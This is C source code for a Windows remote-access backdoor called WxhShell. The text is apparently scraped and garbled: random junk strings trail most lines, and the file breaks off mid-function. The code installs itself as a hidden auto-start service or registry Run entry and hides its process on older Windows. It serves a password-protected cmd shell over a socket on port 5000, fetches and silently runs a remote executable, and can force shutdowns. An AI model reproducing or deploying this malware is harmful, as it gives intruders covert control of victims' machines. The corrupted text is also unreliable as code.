  case 'd': { T 'c39  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B2j1G JEO  
    if(Boot(SHUTDOWN)) -c]AS[(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ciODTq?  
    else { 3E*m.jX  
    closesocket(wsh); [s[ZOi!;I  
    ExitThread(0); e^\e;>Dh>  
    } ]Ac}+?  
    break; l~;>KjZg  
    } \t=0rFV)t  
  // 获取shell Godrz*"  
  case 's': { =W3 K6w  
    CmdShell(wsh); Dj96t5R  
    closesocket(wsh); )%Fwfb  
    ExitThread(0); lvWwr!w  
    break; ?< b{  
  } J?3/L&seA  
  // 退出 .+u b\  
  case 'x': { 7?R600OA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^C'0Y.H S  
    CloseIt(wsh); KL=<s#  
    break; p}JOiiHa  
    } V_gKl;Kfe8  
  // 离开 7C7.}U  
  case 'q': { At:8+S<?A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?'P}ZC8P  
    closesocket(wsh); 3U>-~-DS  
    WSACleanup(); ??p%_{QY~b  
    exit(1); ?yS1|CF%&y  
    break; ,J|,wNDU!K  
        } `Fn"QL-  
  } b`-|7<s  
  } @5nFa~*K%  
I2*rtVAP'j  
  // 提示信息 zw+aZDcV(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >E+g.5 ,:W  
} W#<1504ip  
  } 7m-%  
_aPAn|.  
  return; pc*)^S  
} /j GBQ-X  
@M"gEeI9  
// shell模块句柄 )k,n}  
int CmdShell(SOCKET sock) p@G7}'|eyA  
{ nU_O|l9  
STARTUPINFO si; 5&n{QE?Um  
ZeroMemory(&si,sizeof(si)); OtqFI!ns  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vv ,4n&D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;_(f(8BO   
PROCESS_INFORMATION ProcessInfo; +>q#eUS)  
char cmdline[]="cmd"; :_R:>n9 p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Os"('@jd>  
  return 0; geR+v+B,  
} Y}c/wF7o  
Zigv;}#  
// 自身启动模式 [HQ)4xG  
int StartFromService(void) *z0d~j*W;  
{ v3-' G gM  
typedef struct E7A!,A&>  
{ m]2xOR_  
  DWORD ExitStatus; {=[>N>"  
  DWORD PebBaseAddress; 3^y(@XFt  
  DWORD AffinityMask; z l r !   
  DWORD BasePriority; k3#'g'>yh  
  ULONG UniqueProcessId; 0ae8Xm3J@R  
  ULONG InheritedFromUniqueProcessId; f(5(V %  
}   PROCESS_BASIC_INFORMATION; p +i 1sY  
W91yj:  
PROCNTQSIP NtQueryInformationProcess; 5X!-Hj  
1/Ts .\K3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rz"$zc.)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5YD~l(,S1]  
P'Rw/c o  
  HANDLE             hProcess; NGc~%0n  
  PROCESS_BASIC_INFORMATION pbi; Z[. M>|  
o&q>[c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E]`7_dG+T  
  if(NULL == hInst ) return 0; }sXTZX  
p:4jY|q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h+ [6i{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O_:l;D#i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n"EKVw7Y  
X 0y$xC|<  
  if (!NtQueryInformationProcess) return 0; T^}UE<  
sW[-qPK<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jfuHZ^YA  
  if(!hProcess) return 0; qE~_}4\Z9  
AYbO~_a\N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eQbHf  
+Y%6y]8  
  CloseHandle(hProcess); y"q aa  
qNEp3WY:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "bo0O7InOV  
if(hProcess==NULL) return 0; o:@Q1+p  
Urr%SIakvM  
HMODULE hMod; PE%$g\#?  
char procName[255]; >pU9}2fpT  
unsigned long cbNeeded; I/dy^5@F  
!a@)6or  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [C "\]LiX  
3$\k=q3`#  
  CloseHandle(hProcess); W'[V$*  
bx3Q$|M?  
if(strstr(procName,"services")) return 1; // 以服务启动 <gp?}Lk  
X NJ4T]><  
  return 0; // 注册表启动 t7+A !7b{  
} EA& 3rI>U)  
C%XO|sP  
// 主模块 /v R>.'  
int StartWxhshell(LPSTR lpCmdLine) ZL!u$)(V  
{ @?3f`l 9  
  SOCKET wsl; BN_h3|)  
BOOL val=TRUE; |9I)YD  
  int port=0; [oLV,O|s|j  
  struct sockaddr_in door; ^po@U"  
gF)9a_R%p  
  if(wscfg.ws_autoins) Install(); "%-Vrb=:Y  
wX,V:QE  
port=atoi(lpCmdLine); <g[z jV9p  
%nZl`<M  
if(port<=0) port=wscfg.ws_port; Z?axrGmg0  
hS]w A"\87  
  WSADATA data; ~G!JqdKJ0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YlHP:ZW-cu  
WK>F0xMs1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A lU^ ,X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iod%YjZu  
  door.sin_family = AF_INET; ||$&o!;/L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %**f`L%jN  
  door.sin_port = htons(port); O`5,L[i1y  
]b4WfIu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *M.xVUPr  
closesocket(wsl); (eN7s_  
return 1; Cx7-I0!  
} !U^{`V jp[  
+hxG!o?O  
  if(listen(wsl,2) == INVALID_SOCKET) { ZitM<Qi&y  
closesocket(wsl); /DYyl/  
return 1; X]0>0=^  
} <L &EH@T  
  Wxhshell(wsl); * DL7p8  
  WSACleanup(); ScPVjqG2{  
v,KKn\X  
return 0; AJPvwu}D  
;P@]7vkff  
} b9.M'P\  
5~*)3z^V  
// 以NT服务方式启动 pCIzpEsRs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %$!3Pbu i  
{ ag=d6q  
DWORD   status = 0; t'qYM5  
  DWORD   specificError = 0xfffffff; >yBq i^aL  
9j,g&G.K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n>M`wF>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .w2ID  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =6%oW2E\  
  serviceStatus.dwWin32ExitCode     = 0; 22\!Z2@T/  
  serviceStatus.dwServiceSpecificExitCode = 0; EYAaK^ &  
  serviceStatus.dwCheckPoint       = 0; \(o"/*  
  serviceStatus.dwWaitHint       = 0; f-b],YE  
,?fJ0n:!%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u^80NR  
  if (hServiceStatusHandle==0) return; tdy2ZPVtTV  
mDB  
status = GetLastError(); V>Wk\'h  
  if (status!=NO_ERROR) \/a6h   
{ {MUB4-@?F$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r~4uIUE{  
    serviceStatus.dwCheckPoint       = 0; 7u):J  
    serviceStatus.dwWaitHint       = 0; rO1!h%&o"  
    serviceStatus.dwWin32ExitCode     = status; 3*b5V<}'|  
    serviceStatus.dwServiceSpecificExitCode = specificError; w:~*wv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C-'hXh;hQ  
    return; {1W:@6tl  
  } ccD+AGM.  
g)D_  !iz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KpLmpK1  
  serviceStatus.dwCheckPoint       = 0; U.%Kt,qB  
  serviceStatus.dwWaitHint       = 0; UX 1 )((  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JfY*#({y  
} ZCiCZ)oc  
\8`?ir q"  
// 处理NT服务事件,比如:启动、停止 <xOv8IQ|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k"7eHSy,  
{ 3ElpS^ 2W  
switch(fdwControl) udZ: OU<  
{ G([vy#p  
case SERVICE_CONTROL_STOP: @!'H'GvA  
  serviceStatus.dwWin32ExitCode = 0; #Fd( [Zx#.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xbtv}g<0c  
  serviceStatus.dwCheckPoint   = 0; (}}8DB  
  serviceStatus.dwWaitHint     = 0; RZtL<2.@  
  { uY~A0I5Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bw=[g&+o1@  
  } g&vEc1LNo  
  return; bX(*f>G'  
case SERVICE_CONTROL_PAUSE: wqOhJYc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C|zH {.H  
  break; wf@2&vJ  
case SERVICE_CONTROL_CONTINUE: Qd4T?5 vG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &P3vcB  
  break; [;f"',)y,  
case SERVICE_CONTROL_INTERROGATE: ^aW[~ c  
  break; V$%K=[  
}; ,7g;r_qwA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m8PB2h  
} Zn0fgQd  
g\)z!DQ]  
// 标准应用程序主函数 qi2dTB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iP%=Wo.  
{ 7&)F;;H  
k9xKaJ %1  
// 获取操作系统版本 cj<@~[uw  
OsIsNt=GetOsVer(); gAY2|/,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KxwLKaImI  
n_Y]iAoc`  
  // 从命令行安装 (Qm;]?/  
  if(strpbrk(lpCmdLine,"iI")) Install(); UG_0Y8$  
k>CtWV5B  
  // 下载执行文件 Z :+#3.4$3  
if(wscfg.ws_downexe) { K-u/q6ufK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pb Ie)nK  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;#i$0~lRl  
} kwR@oVR^  
vNSf:5H$  
if(!OsIsNt) { TMCA?r%Y\  
// 如果时win9x,隐藏进程并且设置为注册表启动 w0Y%}7  
HideProc(); wS0bk<(  
StartWxhshell(lpCmdLine); ?&m]du#6  
} \Agg6tY r  
else \W^+vuD8  
  if(StartFromService()) N=wy)+  
  // 以服务方式启动 *^Y0}?]qT  
  StartServiceCtrlDispatcher(DispatchTable); 3raA^d3!?  
else ^b %8_?2m  
  // 普通方式启动 J"%}t\Q  
  StartWxhshell(lpCmdLine); T_[\(K`w!  
 ]:fCyIE  
return 0; & }}WP:U  
} lh_zZ!)g  
30E v"  
34Khg  
+yH~G9u(  
=========================================== V9_HC f  
vqi$}=%n?W  
X2YOD2<v  
-$t,}3  
am+mXb  
ha! "BR  
" !cwVJe  
W? ||9  
#include <stdio.h> a3O_#l-Z  
#include <string.h> u/'sdt  
#include <windows.h> _ng =5  
#include <winsock2.h> ](:FW '-  
#include <winsvc.h> c|( ?  
#include <urlmon.h> ~9{;V KgK  
>1G*ya)  
#pragma comment (lib, "Ws2_32.lib") {taVAcb  
#pragma comment (lib, "urlmon.lib") 8G] m7Z  
GTe:k  
#define MAX_USER   100 // 最大客户端连接数  ca*[n~np  
#define BUF_SOCK   200 // sock buffer yWi0 tE{  
#define KEY_BUFF   255 // 输入 buffer :qTcxzV  
(<ZkmIXN  
#define REBOOT     0   // 重启 bXwoJ2  
#define SHUTDOWN   1   // 关机 eSNSnh]'  
E0^%|Mh]b  
#define DEF_PORT   5000 // 监听端口 "IS^a jaq  
jZT :-w  
#define REG_LEN     16   // 注册表键长度 cN lY=L  
#define SVC_LEN     80   // NT服务名长度 M03i4R@h(  
S5u#g`I]  
// 从dll定义API poYAiq_3T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <Iyot]E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Guw|00w,Q$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,]_(-tyN|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v#]v,C-*  
t`YZ)>Ws  
// wxhshell配置信息 aC~n:0 v  
struct WSCFG { (2bZ]  
  int ws_port;         // 监听端口 x>,F*3d3  
  char ws_passstr[REG_LEN]; // 口令 ]'!xc9KGR  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~gWd63%8x  
  char ws_regname[REG_LEN]; // 注册表键名 apD=>O  
  char ws_svcname[REG_LEN]; // 服务名 I cR;A\z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h` h>H X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k7|z$=zY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gh[`q7B Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oA;Ty7s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^h6$> n5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W({TC  
j-`X_8W  
}; ''OInfd?  
wYO"znd  
// default Wxhshell configuration b}Hl$V(uD  
struct WSCFG wscfg={DEF_PORT, 1m<?Q&|m$  
    "xuhuanlingzhe", hdr}!w V  
    1, UcLNMn|  
    "Wxhshell", [}ZPg3Y  
    "Wxhshell", G</I%qM  
            "WxhShell Service", v V6Lp  
    "Wrsky Windows CmdShell Service", SU%rWH  
    "Please Input Your Password: ", (21 W6  
  1, ]8m_*I!  
  "http://www.wrsky.com/wxhshell.exe", YP#AB]2\}  
  "Wxhshell.exe" O(D5A?tv!  
    }; mk%"G=w  
B(\r+"PB  
// 消息定义模块 H8-D'q>R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *M&VqG4P9w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3_\{[_W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2@3.xG  
char *msg_ws_ext="\n\rExit."; }x?H ~QQT  
char *msg_ws_end="\n\rQuit."; 1KYbL8c  
char *msg_ws_boot="\n\rReboot..."; 8S1P&+iKs  
char *msg_ws_poff="\n\rShutdown..."; ,]uX:h-EM  
char *msg_ws_down="\n\rSave to "; )0U3w#,JQ  
!<=%;+  
char *msg_ws_err="\n\rErr!"; RJRq` T|m  
char *msg_ws_ok="\n\rOK!"; ?#*  
v=*Bb3dt  
char ExeFile[MAX_PATH]; /}nrF4S  
int nUser = 0; _D>as\dP  
HANDLE handles[MAX_USER]; 88#qu.  
int OsIsNt; UROj9CO v  
?H[5O+P[  
SERVICE_STATUS       serviceStatus; ^0Q=#p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q\27\2  
C^/ -lc  
// 函数声明 X$-b oe?  
int Install(void); %]chL.s  
int Uninstall(void); 2fzKdkJhe  
int DownloadFile(char *sURL, SOCKET wsh); %R5Com  
int Boot(int flag); fys5-1@-p  
void HideProc(void); X%a;i6pq  
int GetOsVer(void); ~[zFQ)([  
int Wxhshell(SOCKET wsl); -OrY{^F  
void TalkWithClient(void *cs); 0\cnc^Z  
int CmdShell(SOCKET sock); 1c)\  
int StartFromService(void); %Ui{=920  
int StartWxhshell(LPSTR lpCmdLine); %wt2F-u  
i5 L:L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Hz]4AS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *b Ci2mbm@  
a1g6}ym\  
// 数据结构和表定义 VelB-vy&  
SERVICE_TABLE_ENTRY DispatchTable[] = jcEs10y  
{ f`hyYp`d5  
{wscfg.ws_svcname, NTServiceMain}, egI{!bZg'\  
{NULL, NULL} iY ^{wi~?  
}; -yC:?  
3tT|9Tb@  
// 自我安装 ` URSv,(  
int Install(void) 8"km_[JE e  
{ c$Xe.:QY  
  char svExeFile[MAX_PATH]; "[jhaUAK  
  HKEY key; U#;51 _  
  strcpy(svExeFile,ExeFile); HQ^9 [HN.  
a[1sA12  
// 如果是win9x系统,修改注册表设为自启动 Pqy-gWOv  
if(!OsIsNt) { N>d|A]zH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,4H;P/xsb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i1qS ns  
  RegCloseKey(key); Jo{ zy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mb0n}I_AC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ky[bX  
  RegCloseKey(key); 8pYyG |\  
  return 0; /[a|DUoHO  
    } n}< ir!ZTO  
  } y#S1c)vU  
} M!N` Orz  
else { 4 ,p#:!  
eM?rc55|  
// 如果是NT以上系统,安装为系统服务 t a&Q4v&-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8To7c  
if (schSCManager!=0) &sm @  
{ owE<7TGPI?  
  SC_HANDLE schService = CreateService 29"mE;j  
  ( EHpu*P~W  
  schSCManager, YXF#c)#  
  wscfg.ws_svcname, = :Po%Z%{  
  wscfg.ws_svcdisp, { EA2   
  SERVICE_ALL_ACCESS, `nT?6gy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2B HKS-J*  
  SERVICE_AUTO_START, W1xf2=z`)T  
  SERVICE_ERROR_NORMAL, 2Sge  
  svExeFile, pO"m~mpA  
  NULL, R{*_1cyW  
  NULL, p{NPcT%&  
  NULL, ^DBD63 N"  
  NULL, L~*u4  
  NULL 9[z'/ U.Bn  
  ); /@&(P#h  
  if (schService!=0) `$J'UXtGc  
  { /^w"' '  
  CloseServiceHandle(schService); a*Rz<08  
  CloseServiceHandle(schSCManager); B-!guf rnY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8NnhT E  
  strcat(svExeFile,wscfg.ws_svcname); z>6.[Z(T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c  Qld$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u\`/Nhn  
  RegCloseKey(key); ~6p5H}'H1  
  return 0; 6 |QTS|!  
    } /sy-;JDnsu  
  } csYy7uzi  
  CloseServiceHandle(schSCManager); r+o_t2_b*  
} X*0k>j  
} wi>DZkR  
SijtTY#r  
return 1; dIma{uv  
} /x$}D=(CZ  
g{e/X~  
// 自我卸载 21U&Ww  
int Uninstall(void) LyIKP$t  
{ -:MmSeG7gO  
  HKEY key; $u:<x  
$nj\\,(g  
if(!OsIsNt) { V]Sgx00;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ze&#i6S  
  RegDeleteValue(key,wscfg.ws_regname); pg+b[7  
  RegCloseKey(key); '?5S"??  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _0K.Fk*(!  
  RegDeleteValue(key,wscfg.ws_regname); f6Ml[!aU  
  RegCloseKey(key); =tq1ogE  
  return 0; 6VC-KY  
  } 4iwf\#  
} v{r1E]rY  
} iecWa:('  
else { /^Y[*5  
GjEqU;XBi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G%;kGi`m  
if (schSCManager!=0) IAYACmlN&  
{ ]a M-p@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ((qGh>*  
  if (schService!=0) vTdUuj3N  
  { sJOV2#r  
  if(DeleteService(schService)!=0) { B;V5x/  
  CloseServiceHandle(schService); ~Po<(A}`f  
  CloseServiceHandle(schSCManager); 4h;4!I|  
  return 0; d,UCH  
  } NddO*`8+)  
  CloseServiceHandle(schService); ^}J<)}Q  
  } c+8V|'4  
  CloseServiceHandle(schSCManager); _C20 +PMO  
} syR N4  
} YGETMIT(  
H37Qg ApB  
return 1; 9:Si] Pp+S  
} e9 *lixh  
uxb:^d?D!  
// 从指定url下载文件 :5jexz."M  
int DownloadFile(char *sURL, SOCKET wsh) BX*69  
{ zd.'*Dj  
  HRESULT hr; `kFiH*5%z  
char seps[]= "/"; r_^)1w  
char *token; Tpb"uBiXoo  
char *file; E~qQai=]  
char myURL[MAX_PATH]; g rspt}  
char myFILE[MAX_PATH]; t{zBC?c R  
*jE;9^  
strcpy(myURL,sURL); ->h5T%sn  
  token=strtok(myURL,seps); h,t:]  
  while(token!=NULL) P3!Atnv2  
  { z6I%wh  
    file=token; Cc Y7$D  
  token=strtok(NULL,seps); NO2(vE  
  } Vc _:*  
6Cv.5V hx  
GetCurrentDirectory(MAX_PATH,myFILE); IB8gDP2  
strcat(myFILE, "\\"); gqfDa cDJL  
strcat(myFILE, file); &qKig kLd  
  send(wsh,myFILE,strlen(myFILE),0); RU|X*3";T  
send(wsh,"...",3,0); i'=2Y9S}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,:UX<6l R  
  if(hr==S_OK) q_sEw~~@!  
return 0; %m`zWg-  
else lI6W$V\,  
return 1; &n>7Ir  
 L=]p_2+  
} xzr<k Sp  
at| \FOKj  
// 系统电源模块 t"|DWC*  
int Boot(int flag) -uj3'g (;w  
{ ^s-25 6iI  
  HANDLE hToken; cS(;Qs]Q  
  TOKEN_PRIVILEGES tkp; k"0;D-lTZ>  
0e16Ow6\!1  
  if(OsIsNt) { 8vSIf+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hF>u)%J/S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @PX\{6&  
    tkp.PrivilegeCount = 1; 2"X~ju  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; id?E)Jy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OhFW*v  
if(flag==REBOOT) { <*wM=aq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8{ gXToK  
  return 0; psUE!~9,  
} nZ E)_  
else { %j5ywr:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o2naVxetE  
  return 0; Skxd<gv  
} $(rc/h0/E  
  } 2+Yb 7 uI,  
  else { e<"/'Ql!k  
if(flag==REBOOT) { )%F5t&lum  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2w?hgNz  
  return 0; vy9dAl  
} Q4Q pn  
else { Ur3m[07H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p!DP`Ouc3\  
  return 0; =wrP:wYF  
} J# EP%  
} :c=.D;,  
cbYK5fj"T  
return 1; (s&&>M]r_  
} ? JXa~.dA  
UQPU"F7.  
// win9x进程隐藏模块 5jZiJw(  
void HideProc(void) E ]f)Os$  
{ D(\$i.,b2  
Bm/YgQi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r,;\/^u*  
  if ( hKernel != NULL ) ^B]@Lr E^  
  { ;dZMa]X0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JvL{| KtyU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cy@ cLdV  
    FreeLibrary(hKernel); L'E^c,-x~  
  } fYX<d%?7  
&%,DZA`  
return; +}JM&bfK  
} v&;:^jJ8  
D*2\{W/  
// 获取操作系统版本 Gu;OV LR|  
int GetOsVer(void) ;;#`#v  
{ _A'{la~k  
  OSVERSIONINFO winfo; {/ 2E*|W~I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?9xu{B>6  
  GetVersionEx(&winfo); y{=>$C[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZA820A>2!  
  return 1; |5MbAqjzC  
  else `^6 ,kI-c  
  return 0; ~ap2m  
} 6q/ ?-Qcy  
:dwt1>  
// 客户端句柄模块 e.vtEQV9  
int Wxhshell(SOCKET wsl) J2M(1g)t9  
{ r:g9Z_  
  SOCKET wsh; +ts0^;QO2{  
  struct sockaddr_in client; D/ Dt   
  DWORD myID; Vw~\H Gs/~  
@PSLs *  
  while(nUser<MAX_USER) w/m:{cHk  
{ .%}+R|g  
  int nSize=sizeof(client); ]Kh2;>= Xj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8Vn4.R[vE  
  if(wsh==INVALID_SOCKET) return 1; FHg0E++?  
6v732;^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >: Wau  
if(handles[nUser]==0) ^%<pJMgdF  
  closesocket(wsh); 2`bdrRD0  
else (K<9h L+X  
  nUser++; l "pN90B4  
  } C+N k"l9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0.;}]v  
Q8nId<\(  
  return 0; j6YiE~  
} ]?LB?:6  
|i7a@'0)  
// 关闭 socket iiC!|`k"  
void CloseIt(SOCKET wsh) D4u% 6R|F  
{ WAPhv-6  
closesocket(wsh); S#l5y%&  
nUser--; p]T"|!d  
ExitThread(0); Z-X?JA\&  
} {?8B,G2r  
7E7dSq  
// 客户端请求句柄 @cD uhK"U}  
void TalkWithClient(void *cs) TO#Pz.)>B6  
{ .~D>5 JnEk  
!8RwO%c(  
  SOCKET wsh=(SOCKET)cs; I4c!m_sr  
  char pwd[SVC_LEN]; <L0#O(L  
  char cmd[KEY_BUFF]; r4XH =  
char chr[1]; G| m4m.  
int i,j; H9 tXSh  
~)]} 91p  
  while (nUser < MAX_USER) { 1vevEa$  
ULqoCd%bK  
if(wscfg.ws_passstr) { =xN= #  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {2KFD\i\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %D=]ZV](  
  //ZeroMemory(pwd,KEY_BUFF); Dr#c)P~Wd  
      i=0; 8Ogv9  
  while(i<SVC_LEN) { K_&MoyJJ9f  
9S7A!AKE  
  // 设置超时 h2q/mi5{  
  fd_set FdRead; qUJ aeQ  
  struct timeval TimeOut; p( LZ)7/  
  FD_ZERO(&FdRead); aX6}6zubr  
  FD_SET(wsh,&FdRead); KY9n2u&4  
  TimeOut.tv_sec=8; G4-z3e,crr  
  TimeOut.tv_usec=0; ,xi({{L*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AC- )BM';  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]0j9>s2|Z  
Z;DCI-Wg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dJk9@u  
  pwd=chr[0]; 4=<*Vd`p  
  if(chr[0]==0xd || chr[0]==0xa) { [ .,>wo~  
  pwd=0; LlYTv% I  
  break; W;_E4  
  } kUl  
  i++; 6g:|*w  
    } !q"cpL'4  
42C<1@>zO  
  // 如果是非法用户,关闭 socket !cX[-}Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YTaLjITG  
} R^&q-M=O[  
z8_XX$Mnt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KOSM]c\H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >{zk qvsQ&  
8?FueAM'  
while(1) { 8At<Wic  
['qnn|  
  ZeroMemory(cmd,KEY_BUFF);  :$r ^_  
YA]5~ ZE\  
      // 自动支持客户端 telnet标准   KLWDo%%u  
  j=0; 0Q9T3X  
  while(j<KEY_BUFF) { =r. >N\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /F/;G*n  
  cmd[j]=chr[0]; S~OhtHwK  
  if(chr[0]==0xa || chr[0]==0xd) { E /<lGm:.  
  cmd[j]=0; 3R$Z[D-  
  break; 'Prxocxq  
  } Ri*3ySyb  
  j++; 2[yBD-":  
    } N:5[,O<m_  
|UUdz_i!:  
  // 下载文件 P5 <vf  
  if(strstr(cmd,"http://")) { fz_nsVD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ZI>km?w  
  if(DownloadFile(cmd,wsh)) Q;/a F`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LV{Q,DrP  
  else  >]D4Q<TY  
